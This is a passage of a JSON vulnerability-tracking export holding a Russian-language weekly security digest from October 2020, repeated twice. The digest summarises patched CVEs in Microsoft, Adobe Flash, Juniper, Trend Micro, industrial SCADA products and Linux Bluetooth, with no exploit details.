\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 TLS/SSL. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Adobe Flash Player 32.0.0.445.\n\n\u0412 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\u0445 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 NetBSD USB \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c , \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b USB: atu(4), axe(4), axen(4), otus(4), run(4) \u0438 ure(4).\n\n\u0412 \u041e\u0421 Juniper Junos \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c ( CVE-2020-1667 ), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: \u0441 17.3 \u043f\u043e 17.3R3-S8, \u0441 18.3 \u043f\u043e 18.3R3-S1, \u0441 18.4 \u043f\u043e 18.4R3, \u0441 19.1 \u043f\u043e 19.1R3, \u0441 19.2 \u043f\u043e 19.2R2, \u0441 19.3 \u043f\u043e 19.3R3.\n\n\u0412 \u041f\u041e Trend Micro Antivirus \u0434\u043b\u044f macOS \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 ( CVE-2020-25777 \u0438 CVE-2020-25778 ), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n\u0420\u0435\u0448\u0435\u043d\u0438\u0435 ARC Informatique PcVue \u0434\u043b\u044f HMI/SCADA \u0441\u0438\u0441\u0442\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0441\u0430\u043c\u0430\u044f \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 ( CVE-2020-26867 ) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434.\n\n\u0412 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u043c \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0435 \u0441\u0432\u044f\u0437\u0438 Allen-Bradley Flex IO 1794-AENT \u0441\u0435\u0440\u0438\u0438 B \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u043f\u044f\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 ( CVE-2020-6084, CVE-2020-6085, CVE-2020-6086, CVE-2020-6087 \u0438 CVE-2020-6088 ), \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430. \u041e\u043d\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 4.003 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0441\u0442\u0435\u043a\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 Bluetooth \u0432 \u044f\u0434\u0440\u0435 Linux ( CVE-2020-12351, CVE-2020-12352 \u0438 CVE-2020-24490 ), \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 BleedingTooth, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u0421\u0430\u043c\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0442\u0438\u043f\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043a\u0443\u0447\u0438 (CVE-2020-12351), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0435 \u0432\u0435\u0440\u0441\u0438\u044e \u044f\u0434\u0440\u0430 \u200b\u200bLinux 4.8 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 \u0432 8,3 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.securitylab.ru/news/513131.php", "creation_timestamp": "2026-09-04T08:00:05.201564Z"}, {"uuid": "7c5db722-00d4-4314-8cde-8c62b443de32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/timcore_hacking/1025", "content": "\u041e\u0431\u0437\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e: 16 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2020 \u0433\u043e\u0434\u0430\n\n\u0411\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft, Adobe Flash Player, \u0441\u0442\u0435\u043a\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 Bluetooth \u0432 \u044f\u0434\u0440\u0435 Linux \u0438 \u043f\u0440.\nimage\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u043b\u0430\u043d\u043e\u0432\u044b\u0435 \u0435\u0436\u0435\u043c\u0435\u0441\u044f\u0447\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 87 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0421\u0430\u043c\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u0441\u0442\u0435\u043a\u0435 Windows TCP/IP ( CVE-2020-16898 ). \u0415\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Windows \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 ICMPv6 Router Advertisement \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c ( CVE-2020-16947 ) \u0432 Microsoft Outlook, \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Windows Hyper-V ( CVE-2020-16891 ), \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043d\u0430\u0431\u043e\u0440\u0435 \u043a\u043e\u0434\u0435\u043a\u043e\u0432 Microsoft Windows Camera ( CVE-2020-16967 \u0438 CVE-2020-16968 ), RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SharePoint Server ( CVE-2020-16951 \u0438 CVE-2020-16952 ), \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Media Foundation ( CVE-2020-16915 ), \u0434\u0432\u0438\u0436\u043a\u0435 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 Base3D ( CVE-2020-17003 ), \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 ( CVE-2020-16923 ) \u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Windows Graphics Device Interface ( CVE-2020-16911 )\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Adobe \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u041f\u041e Adobe Flash Player ( CVE-2020-9746 ). \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0443\u0442\u0435\u043c \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0441\u0442\u0440\u043e\u043a \u0432 HTTP-\u043e\u0442\u0432\u0435\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 TLS/SSL. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Adobe Flash Player 32.0.0.445.\n\n\u0412 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\u0445 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 NetBSD USB \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c , \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b USB: atu(4), axe(4), axen(4), otus(4), run(4) \u0438 ure(4).\n\n\u0412 \u041e\u0421 Juniper Junos \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c ( CVE-2020-1667 ), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: \u0441 17.3 \u043f\u043e 17.3R3-S8, \u0441 18.3 \u043f\u043e 18.3R3-S1, \u0441 18.4 \u043f\u043e 18.4R3, \u0441 19.1 \u043f\u043e 19.1R3, \u0441 19.2 \u043f\u043e 19.2R2, \u0441 19.3 \u043f\u043e 19.3R3.\n\n\u0412 \u041f\u041e Trend Micro Antivirus \u0434\u043b\u044f macOS \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 ( CVE-2020-25777 \u0438 CVE-2020-25778 ), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n\u0420\u0435\u0448\u0435\u043d\u0438\u0435 ARC Informatique PcVue \u0434\u043b\u044f HMI/SCADA \u0441\u0438\u0441\u0442\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0441\u0430\u043c\u0430\u044f \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 ( CVE-2020-26867 ) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434.\n\n\u0412 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u043c \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0435 \u0441\u0432\u044f\u0437\u0438 Allen-Bradley Flex IO 1794-AENT \u0441\u0435\u0440\u0438\u0438 B \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u043f\u044f\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 ( CVE-2020-6084, CVE-2020-6085, CVE-2020-6086, CVE-2020-6087 \u0438 CVE-2020-6088 ), \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430. \u041e\u043d\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 4.003 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0441\u0442\u0435\u043a\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 Bluetooth \u0432 \u044f\u0434\u0440\u0435 Linux ( CVE-2020-12351, CVE-2020-12352 \u0438 CVE-2020-24490 ), \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 BleedingTooth, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u0421\u0430\u043c\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0442\u0438\u043f\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043a\u0443\u0447\u0438 (CVE-2020-12351), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0435 \u0432\u0435\u0440\u0441\u0438\u044e \u044f\u0434\u0440\u0430 \u200b\u200bLinux 4.8 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 \u0432 8,3 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.securitylab.ru/news/513131.php", "creation_timestamp": "2026-09-05T01:00:36.254451Z"}]}